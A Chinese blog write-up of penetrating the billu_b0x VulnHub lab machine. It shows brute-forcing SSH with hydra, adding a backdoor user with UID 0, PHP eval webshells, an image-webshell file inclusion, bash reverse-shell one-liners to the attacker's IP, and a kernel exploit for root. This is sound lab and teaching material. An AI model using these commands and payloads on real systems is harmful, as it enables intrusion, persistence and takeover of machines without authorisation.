0
点赞
收藏
分享

微信扫一扫

[VulnHub靶机渗透]一:billu_b0x渗透总结

我是小瘦子哟 2022-03-11 阅读 64

文章目录

实验环境

靶机: Billu_b0x——192.168.137.130
攻击机: Kali——192.168.137.128
工具: Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap、whatweb、Xshell等

实验步骤

一、信息收集

1.1 扫描主机所在网段进行主机发现

nmap -sP 192.168.137.0/24
在这里插入图片描述
排除法确定靶机ip为:192.168.137.130

1.2 端口扫描

在这里插入图片描述
开启了22(ssh服务)、80(http服务)端口

1.3 网站指纹信息扫描(whatweb)

在这里插入图片描述

1.4 dirb爆破Web目录

dirb 192.168.137.130

在这里插入图片描述
之后我用dirbuster又扫描了一遍:
在这里插入图片描述

二、web渗透

2.1 ssh爆破并获取shell

hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/password.txt -vV -t4 192.168.137.130 ssh

在这里插入图片描述
将用户名和密码都爆破出来了。
ssh登陆,可以成功拿到root权限

在这里插入图片描述

创建用户hacker,密码为hacker:

useradd hacker
passwd hacker

在这里插入图片描述

之后进入/etc/passwd下修改hacker用户的权限值为0 0

在这里插入图片描述
还存在一个原始用户ica在这里插入图片描述
我们切换到普通用户ica,之后再切换为hacker:
在这里插入图片描述
hacker权限已变为root权限!

一般Linux的默认Web目录都在 /var/www 下,我们可以写入一句话木马shell.php:
在这里插入图片描述

在这里插入图片描述

2.2 web站点渗透

由于我们已经知道根目录下的文件了,经过尝试,从以下四个站点页面进行渗透:

http://192.168.137.130/index.php
http://192.168.137.130/add.php
http://192.168.137.130/test.php
http://192.168.137.130/phpmy/

2.2.1 index.php(登陆界面)

在这里插入图片描述
页面可能存在sql注入,使用sqlmap跑不出来

万能密码admin’ or ‘1’='1#也不起作用,就先放弃!

2.2.2 add.php (空壳文件)

在这里插入图片描述
发现无论上传什么文件,都没有任何效果,索性选择主动响应该请求,查看响应包:
在这里插入图片描述
貌似不能上传文件,过.

2.2.3 test.php(文件包含可利用)

打开时页面提示’file’ parameter is empty. Please provide file path in ‘file’ parameter,就是file参数为空,需要传入一个参数
在这里插入图片描述
并且在in.php页面中可以看到能够进行远程文件包含:
在这里插入图片描述
那就好办了:
使用bp将传参方式改为POST
在这里插入图片描述
index.php:
过滤了单引号,但还是没法注入,先搁置
在这里插入图片描述
c.php:
发现了链接数据库的账号密码:billu b0x_billu
在这里插入图片描述

2.2.4 phpmy (phpmyadmin)

在爆破ssh获得root权限之后我们还发现,/var/www/下存在一些没扫描出来的文件:
在这里插入图片描述
访问phpmy:

在这里插入图片描述
ica_lab下的auth中收集到一组用户名和密码:
biLLu\hEx_it,应该就是登陆界面的账号密码
在这里插入图片描述

补充:

默认的phpmyadmin配置文件位于phpmyadmin文件夹下,一般以下两个都是:

  • phpmyadmin/libraries/config.default.php
  • ./config.inc.php

成功登录:
在这里插入图片描述

2.2.5 phpmyadmin挂马

继续phpmyadmin后台测试,尝试挂马
在这里插入图片描述
但是两种方式都必须满足三个条件:

1.未限制文件路径
2.当前用户有写文件权限
3.知道网站根目录

2.2.5.1 利用outfile写文件挂马**

首先查看mysql导出的默认路径,如下命令:
show variables like '%secure%'

并且mysql没有限制导出写入文件的路径,
在这里插入图片描述

但经过尝试我们没有写入文件的权限
在这里插入图片描述

2.2.5.2 利用日志文件挂马

继续试一下日志文件能否挂马,查看全局日志情况
show variables like '%general%';
在这里插入图片描述
当前全局日志是关闭状态,且路径已经指定,所以必须是在root权限下,打开全局日志并修改路径

set global general_log = on;
set global general_log_file = '指定路径';

依旧没有权限,放弃
在这里插入图片描述

2.2.6 上传图片马进行文件包含并反弹shell

在add user页面中可以上传图片马:
在这里插入图片描述
上传之后回到show user中,上传成功!

在这里插入图片描述
我们上传的图片马为stray.png,下面需要用该页面进行文件包含,在此之前我们需要知道上传图片的路径,网站根目录下存在/uploaded_images/,访问后可以看到我们上传的stray.png
在这里插入图片描述
回到panel.php,选择show user,进行抓包:

修改参数路径为图片所在位置:

load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();
在这里插入图片描述
放包后可以在浏览器查看到:证明我们包含成功
在这里插入图片描述

此时可以将eval函数改为system函数,用来执行Linux命令,建立反弹shell。重新制作图片马,一句话命令如下:
在这里插入图片描述
重新制作图片马(shell.png)进行上传:
在这里插入图片描述
之后继续进行抓包改参数:
在这里插入图片描述
测试成功,那就可以用bash来建立反弹shell了,stray值改为以下建立反弹shell命令:

stray=echo "bash -i >& /dev/tcp/192.168.137.128/4444 0>&1" | bash
stray=echo "bash -i >& /dev/tcp/192.168.137.130/4444 0>&1" | bash

在这里插入图片描述

在kali上使用nc监听4444端口:
在这里插入图片描述
但并没有反弹shell,上网上搜了一下,是需要将我们的数据进行url编码:
在这里插入图片描述

成功!
在这里插入图片描述
在这里插入图片描述
切换之前创建的超级用户hacker,提示需要使用一个terminal环境,使用以下python语句创建一个terminal环境,即可切换至root用户:

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
到网站根目录下写马:

echo '<?php eval($_POST['stray']);?>' >>stray.php

在这里插入图片描述
可以用蚁剑连接:
在这里插入图片描述

三、Linux内核提权

uname -a :内核版本
cat /etc/issue:Linux系统版本

linux内核版本为:Linux indishell 3.13.0-32-generic
linux系统版本为:Ubuntu 12.04.5 LTS

在这里插入图片描述

在kali下查询对应版本的exp:

searchsploit Ubuntu 12.04

在这里插入图片描述
将文件复制,利用Webshell用蚁剑将其上传至网站下
在这里插入图片描述
赋予可执行权限:
chmod 777 37292.c

在这里插入图片描述
使用gcc编译文件:gcc 37292.c -o exp ,执行即可提权至root权限
在这里插入图片描述

举报

相关推荐

0 条评论